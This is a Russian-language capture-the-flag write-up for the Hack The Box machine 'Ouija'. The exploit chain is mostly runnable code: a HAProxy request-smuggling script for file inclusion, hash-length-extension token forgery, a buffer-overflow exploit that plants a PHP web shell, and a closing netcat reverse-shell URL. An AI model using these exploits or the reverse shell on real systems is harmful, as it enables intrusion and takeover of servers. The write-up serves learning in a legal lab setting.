Обзор сервисов
Проведем стандартное первоначальное сканирование сервисов машины 10.10.11.244
с помощью rustscan
:
$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.244 -- -A -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/user/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.244:22
Open 10.10.11.244:80
Open 10.10.11.244:3000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.244
Depending on the complexity of the script, results may take some time to appear.
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+) '
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-02 14:03 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
Initiating Ping Scan at 14:03
Scanning 10.10.11.244 [2 ports]
Completed Ping Scan at 14:03, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:03
Completed Parallel DNS resolution of 1 host. at 14:03, 0.57s elapsed
DNS resolution of 1 IPs took 0.57s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:03
Scanning 10.10.11.244 [3 ports]
Discovered open port 80/tcp on 10.10.11.244
Discovered open port 22/tcp on 10.10.11.244
Discovered open port 3000/tcp on 10.10.11.244
Completed Connect Scan at 14:03, 0.06s elapsed (3 total ports)
Initiating Service scan at 14:03
Scanning 3 services on 10.10.11.244
Completed Service scan at 14:03, 11.18s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.244.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 1.91s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
Nmap scan report for 10.10.11.244
Host is up, received syn-ack (0.055s latency).
Scanned at 2023-12-02 14:03:43 EST for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6f:f2:b4:ed:1a:91:8d:6e:c9:10:51:71:d5:7c:49:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOF5zQd8OgxRSgutBifLJRc7jgEi2e7uNFtuctcdQmJGWQYTQ+PZQcwv5fZnF0BHotgSA8Vp58ftuLK93zuh7I8=
| 256 df:dd:bc:dc:57:0d:98:af:0f:88:2f:73:33:48:62:e8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICKPk/B9wRV28rwbwQHh9JYErJC2f/143AtDpUhHgTro
80/tcp open http syn-ack Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http syn-ack Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
|_http-favicon: Unknown favicon MD5: 03684398EBF8D6CD258D44962AE50D1D
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.26 seconds
Обнаруживаем SSH и два HTTP порта (80, 3000).
Веб
Если перейти по IP-адресу на порт 80, то обнаружим обычную заглушку Apache.
Добавим в /etc/hosts
домен ouija.htb
и попробуем еще раз.
$ sudo nano /etc/hosts
10.10.11.244 ouija.htb
В коде страницы ouija.htb
находим трекерный скрипт, ведущий на gitea.ouija.htb
, также добавим его в /etc/hosts
.
Еще посмотрим, что имеем на порту 3000.
Далее попробуем поискать поддомены с помощью gobuster
:
$ gobuster vhost -u http://ouija.htb -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://ouija.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.ouija.htb Status: 403 [Size: 93]
...
Found: gitea.ouija.htb Status: 200 [Size: 14012]
...
Progress: 151265 / 151266 (100.00%)
===============================================================
Finished
===============================================================
Находим домен dev.ouija.htb
, но он закрыт с помощью ACL.
Посмотрим, что имеем на git-сервере.
Обнаруживаем пользователя leila
и репозиторий с сайтом, который висит на 80 порту. Из важного в этом репозитории - версии используемого софта.
Также на http://10.10.11.244/server-status
обнаруживаем страницу с метриками Apache.
Внутри Apache слушает 8080, а версия реверс-прокси HAProxy из репозитория - 2.2.16. Узнаем, что она уязвима к request smuggling (GHSAh2p2-w857-329f / CVE-2023-25725).
Вот пример запроса, который приводит к Local File Inclusion (я пропустил часть, где мы находим editor.php
, потому что достаточно сделать запрос на /index.php
, чтобы увидеть его). Стоит обратить внимание, что каждый перенос строки - это \r\n
(я привел скриншот, чтобы было понятно).
Также стоит обратить внимание на Content-Length
, который нужно хитро высчитывать от второго запроса. Чтобы Burp не считал его сам, нужно перейти в Burp -> Settings -> Repeater
и отжать галку Update content length
.
Вот и сам запрос.
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 80
GET http://dev.ouija.htb/editor.php?file=../../../../etc/passwd HTTP/1.1
x:Get / HTTP/1.1
Host: ouija.htb
Чтобы не страдать с калькуляцией длины, я написал скрипт smuggler.py
.
import socket
import argparse
HOST = "ouija.htb"
PORT = 80
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--filename", type=str, required=True)
parser.add_argument("-r", "--raw", action="store_true", default=False)
args = parser.parse_args()
filename = args.filename
payload = f"GET http://dev.ouija.htb/editor.php?file={filename} HTTP/1.1\r\nx:Get "
def recvall(sock, buffer_size=4096):
buf = sock.recv(buffer_size)
while buf:
yield buf
if len(buf) < buffer_size: break
buf = sock.recv(buffer_size)
def get_between_tokens(data, token_start, token_end):
idx_start = data.find(token_start)
if idx_start == -1:
return None
idx_end = data.find(token_end, idx_start)
if idx_end == -1:
return None
return data[idx_start + len(token_start):idx_end].strip()
def send(do_print: bool = False, raw: bool = False):
DATA = "POST /index.html HTTP/1.1\r\n" + \
"Host: ouija.htb\r\n" + \
"Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\r\n" + \
f"Content-Length: {len(payload)}\r\n\r\n\r\n" + \
f"{payload} / HTTP/1.1\r\n" + \
"Host: ouija.htb"
with socket.socket() as s:
s.connect((HOST, PORT))
s.send(DATA.encode("utf-8"))
data = b"".join(recvall(s)).decode("utf-8")
if do_print:
if raw:
print(data)
else:
print_data = get_between_tokens(data, '<textarea name="content" id="content" cols="30" rows="10">', '</textarea>')
if print_data is None:
print("No file or file is empty")
else:
print_data = print_data.strip()
if not print_data:
print("No file or file is empty")
else:
print(print_data)
send()
send(do_print = True, raw = args.raw)
А вот и тот самый /index.php
, о котором я говорил выше.
$ python3 smuggle.py -f "../../../../var/www/dev/index.php"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Ouija dev</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<h1>projects under development</h1>
<ul>
<li>
<strong>Project Name:</strong> Api
<br>
<strong>Api Source Code:</strong> <a href="http://dev.ouija.htb/editor.php?file=app.js" target="_blank">app.js</a>
<strong>Init File:</strong> <a href="http://dev.ouija.htb/editor.php?file=init.sh" target="_blank">init.sh</a>
</li>
</ul>
<footer>
© 2023 ouija software
</footer>
</body>
</html>
Но для получения доступа нам нужны файлы init.sh
и app.js
.
$ python3 smuggle.py -f "init.sh"
#!/bin/bash
echo "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log
exit 1
$ python3 smuggle.py -f "../../../../../var/www/dev/uploads/app.js" --raw
var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;
app.listen(3000, ()=>{ console.log("listening @ 3000"); });
function d(b){
s1=(Buffer.from(b, 'base64')).toString('utf-8');
s2=(Buffer.from(s1.toLowerCase(), 'hex'));
return s2;
}
function generate_cookies(identification){
var sha256=crt.createHash('sha256');
wrap = sha256.update(key);
wrap = sha256.update(identification);
hash=sha256.digest('hex');
return(hash);
}
function verify_cookies(identification, rhash){
if( ((generate_cookies(d(identification)))) === rhash){
return 0;
}else{return 1;}
}
function ensure_auth(q, r) {
if(!q.headers['ihash']) {
r.json("ihash header is missing");
}
else if (!q.headers['identification']) {
r.json("identification header is missing");
}
if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin:True"))) {
r.json("Insufficient Privileges");
}
}
app.get("/login", (q,r,n) => {
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname and upass are required"});
}else{
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname && upass are required"});
}else{
r.json({"message":"disabled (under dev)"});
}
}
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {
ensure_auth(q, r);
r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
ensure_auth(q, r);
if(!q.query.file){
r.json({"message":"?file= i required"});
}else{
let file = q.query.file;
if(file.startsWith("/") || file.includes('..') || file.includes("../")){
r.json({"message":"Action not allowed"});
}else{
fs.readFile(file, 'utf8', (e,d)=>{
if(e) {
r.json({"message":e});
}else{
r.json({"message":d});
}
});
}
}
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});
Это то самое приложение, которое работает на порту 3000. Мы видим, что можем скачать файлы, но нам нужны валидные заголовки identification
и ihash
. В проверке участвует секретный ключ, которого мы не знаем, но проверка реализована таким образом, что возможно провести атаку Hash Length Extension.
Из init.sh
берем строку bot1:bot
и SHA-256 хеш-сумму 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1
и заряжаем в hash_extender:
hash_extender --data "bot1:bot" --append '::admin:True' -f sha256 -s "4b2
2a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1" --secret-min 1 --secret-max 1000 > hash.txt
Теперь напишем скрипт для брутфорса brute.py
:
import base64
import requests
with open("hash.txt") as f:
data = f.read()
data = data.split("\n\n")
for entry in data:
if not entry.strip():
continue
strip_func = lambda x: x.split(": ")[1].strip()
lines = entry.strip().split("\n")
hash_type = strip_func(lines[0])
secret_length = int(strip_func(lines[1]))
new_signature = strip_func(lines[2])
new_string = strip_func(lines[3])
new_string_base64 = base64.b64encode(new_string.encode("utf-8")).decode("utf-8")
headers = {
"ihash": new_signature,
"identification": new_string_base64,
}
r = requests.get("http://ouija.htb:3000/file/get/?file=1", headers=headers)
result = r.json()
if result != "Invalid Token":
print("Found " + str(secret_length))
exit(0)
print("None")
И находим длину секрета 23.
$ hash_extender --data leila --append '::admin:True' -f sha256 -s b811f03f712c066b1a03a1fbe3877fa2b68f9b1692c2bdfb45c96b731f677496 --secret 23
Type: sha256
Secret length: 23
New signature: ...
New string: ...
Теперь напишем скрипт fetcher.py
, с помощью которого будем доставать файлы.
import base64
import requests
import argparse
IHASH = "..."
IDENTIFICATION = "..."
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--filename", type=str,
required=True)
args = parser.parse_args()
headers = {
"ihash": IHASH,
"identification": base64.b64encode(IDENTIFICATION.encode("utf-8")).decode("utf-8"),
}
params = {
"file": args.filename,
}
r = requests.get("http://ouija.htb:3000/file/get/",
headers=headers, params=params)
result = r.json()
print(result)
Из init.sh
узнаем, что /proc
подмонтирован в .config/bin/process_information
, а это значит, что можно делать всякое такое. Например, получить переменные окружения:
$ python3 fetcher.py -f ".config/bin/process_informations/self/environ"
{'message': 'LANG=en_US.UTF-8\x00PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\x00HOME=/home/leila\x00LOGNAME=leila\x00USER=leila\x00SHELL=/bin/bash\x00INVOCATION_ID=1e391752e6e746588f92b02565430fed\x00JOURNAL_STREAM=8:120531\x00SYSTEMD_EXEC_PID=13844\x00k=FKJS645GL41534DSKJ@@GBD\x00'}
Мы исполняемся из-под пользователя leila
, попробуем так же стянуть ssh-ключ:
$ python3 fetcher.py -f ".config/bin/process_informations/self/root/home/leila/.ssh/id_rsa"
{'message': '-----BEGIN OPENSSH PRIVATE KEY-----\n...\n-----END OPENSSH PRIVATE KEY-----\n'}
Далее сохраняем ключ и логинимся как leila
.
Флаг пользователя
Повышение привилегий
Это самая сложная часть машины, которая раскручивает Integer Overflow в Buffer Overflow. Повышение привилегий выполнял с помощью подсказок от Dark Wing (и спасибо maza за предоставление этой информации).
Первым делом посмотрим в netstat
и увидим сервис, который крутится на 127.0.0.1:9999
. Пробросим порт на локальную машину.
ssh -i id_rsa -L 9999:127.0.0.1:9999 [email protected]
Исходный код приложения лежит в /development/server-management_system_id_0
, но доступ на запись туда имеет только root
.
Просто приложение, которое проверяет логин и пароль, в Burp выглядит как POST запрос с параметрами username=123&password=123
.
Код проверки лежит в /development/server-management_system_id_0/index.php
:
<?php
if(isset($_POST['username']) && isset($_POST['password'])){
// system("echo ".$_POST['username']." > /tmp/LOG");
if(say_lverifier($_POST['username'], $_POST['password'])){
session_start();
$_SESSION['username'] = $_POST['username'];
$_SESSION['IS_USER_'] = "yes";
$_SESSION['__HASH__'] = md5($_POST['username'] . "::" . $_POST['password']);
header('Location: /core/index.php');
}else{
echo "<script>alert('invalid credentials')</alert>";
}
}
?>
Нужно обратить внимание на функцию say_lverifier
.
$ cat /development/server-management_system_id_0/.debug/maps | grep lverifier
7f6845e7e000-7f6845e7f000 r--p 00000000 fd:00 30980 /usr/lib/php/20220829/lverifier.so
7f6845e7f000-7f6845e80000 r-xp 00001000 fd:00 30980 /usr/lib/php/20220829/lverifier.so
7f6845e80000-7f6845e81000 r--p 00002000 fd:00 30980 /usr/lib/php/20220829/lverifier.so
7f6845e81000-7f6845e82000 r--p 00002000 fd:00 30980 /usr/lib/php/20220829/lverifier.so
7f6845e82000-7f6845e83000 rw-p 00003000 fd:00 30980 /usr/lib/php/20220829/lverifier.so
$ ls -la /usr/lib/php/20220829/
total 9228
drwxr-xr-x 2 root root 4096 Nov 22 12:13 .
drwxr-xr-x 5 root root 4096 Nov 22 12:13 ..
-rw-r--r-- 1 root root 35080 Oct 26 17:33 calendar.so
-rw-r--r-- 1 root root 14600 Oct 26 17:33 ctype.so
-rw-r--r-- 1 root root 96520 Oct 26 17:33 exif.so
-rw-r--r-- 1 root root 178440 Oct 26 17:33 ffi.so
-rw-r--r-- 1 root root 7153984 Oct 26 17:33 fileinfo.so
-rw-r--r-- 1 root root 67848 Oct 26 17:33 ftp.so
-rw-r--r-- 1 root root 18696 Oct 26 17:33 gettext.so
-rw-r--r-- 1 root root 51464 Oct 26 17:33 iconv.so
-rwxr-xr-x 1 root root 43472 Jun 25 22:39 lverifier.so
-rw-r--r-- 1 root root 1018920 Oct 26 17:33 opcache.so
-rw-r--r-- 1 root root 133384 Oct 26 17:33 pdo.so
-rw-r--r-- 1 root root 289032 Oct 26 17:33 phar.so
-rw-r--r-- 1 root root 43272 Oct 26 17:33 posix.so
-rw-r--r-- 1 root root 39176 Oct 26 17:33 readline.so
-rw-r--r-- 1 root root 18696 Oct 26 17:33 shmop.so
-rw-r--r-- 1 root root 104712 Oct 26 17:33 sockets.so
-rw-r--r-- 1 root root 22792 Oct 26 17:33 sysvmsg.so
-rw-r--r-- 1 root root 14600 Oct 26 17:33 sysvsem.so
-rw-r--r-- 1 root root 22792 Oct 26 17:33 sysvshm.so
-rw-r--r-- 1 root root 35080 Oct 26 17:33 tokenizer.so
У всех файлов в каталоге /usr/lib/php/20220829/
дата модификации 26 октября, а lverifier.so
- 25 июня.
Скачаем проект и этот файл, соберем свою локальную лабораторную машину с помощью Docker на WSL. Я буду исследовать с помощью IDA, поэтому нам понадобится ее linux_server64
.
Dockerfile
для лабораторки с помощью IDA (нужен linux_server64
).
FROM ubuntu:22.04
RUN apt-get update && apt-get upgrade -y
RUN apt-get install -y software-properties-common
RUN add-apt-repository ppa:ondrej/php
RUN apt-get update
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y php8.2 php8.2-cli php8.2-opcache php8.2-readline
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y gdb gdbserver
ADD lverifier.so /usr/lib/php/20220829/
ADD linux_server64 /src/
RUN echo "extension=lverifier.so" > /etc/php/8.2/cli/conf.d/50-lverifier.ini
RUN chmod +x /src/linux_server64
WORKDIR /src
ENTRYPOINT [ "/bin/bash" ]
Собираем этот контейнер:
docker build -t lverifier .
Скрипт запуска контейнера:
docker kill lverifier
docker rm lverifier
docker run --name lverifier -it --rm -p 23946:23946 -v $(pwd):/src lverifier /src/linux_server64
Ну и сам запуск контейнера:
bash start-container.sh
Как видно выше, весь мой код лежит в контейнере в папке /src
.
Открываем lverifier.so
в IDA, выбираем дебаггер Remote Linux debugger
, параметры такие:
test.php
для дебаггинга:
<?php
$username = str_repeat("hello");
print($username);
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>
Ставим breakpoint на validating_userinput
и запускаем.
Суть в том, что функция validating_userinput
очень странно обращается с буффером username
.
А в конце этой функции видим вызов функции event_recorder
с параметрами, которые опять же странно формируются. event_recorder
- это функция, которая записывает лог в заданный статически файл, но из-за кривого кода мы можем повлиять на имя этого файла и его содержимое.
Как мы это проверим? Отправим большой payload.
<?php
$username = str_repeat("A", 4096000);
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>
И получим Segmentation violation.
Стек с нашим буфером.
Мы начинаем играться с длиной буфера и приходим к числу 65538, что как раз показывает Integer Overflow.
Теперь воспользуемся любым скриптом или сервисом, который сгенерирует последовательность, по которой мы сможем понять смещение, например, Buffer Overflow Pattern Generator.
<?php
$username = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac...";
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>
Если теперь посмотреть на регистры ESI и EDI (в которых как раз путь и буфер, который мы хотим поменять), то увидим свои данные.
Благодаря этому понимаем, что буфер username[16:800]
- это файл, в который мы можем писать, а username[128:800]
- содержимое для записи.
Попробуем тригернуть простую запись файла:
<?php
$username = str_repeat("/", 795) . "/test" . str_repeat("A", 64738);
print($username);
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>
Теперь мы понимаем, что умеем с правами пользователя root
писать в любой каталог. Dark Wing предлагает создать каталог, в имени которого PHP-код, а также модифицировать входную строку так, чтобы в каталог записался PHP-файл.
Скрипт с готовым эксплоитом:
<?php
$buffer_size = 800;
$cyclic_size = 65538;
$payload = '/tmp/miao/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/miao.php';
$username = str_repeat("/", $buffer_size - strlen($payload)) . $payload . str_repeat("A", $cyclic_size - $buffer_size);
print($username);
$x = say_lverifier($username, 'world');
?>
Перед отправкой получившегося буфера (для его получения нужно развернуть лабораторный контейнер локально) нужно создать нужный каталог.
mkdir -p "/tmp/miao/<?=\`\$_GET[0]\`?>"
После этого просто через браузер отправить получившийся эксплоит в поле username
(можно через Burp, но у меня были некоторый проблемы с этим). В результате получим в этом каталоге файл miao.php
, который выполняет любой код.
Теперь просто пробрасываем реверс-шелл.
http://127.0.0.1:9999/miao.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.14.137%204242%20%3E%2Ftmp%2Ff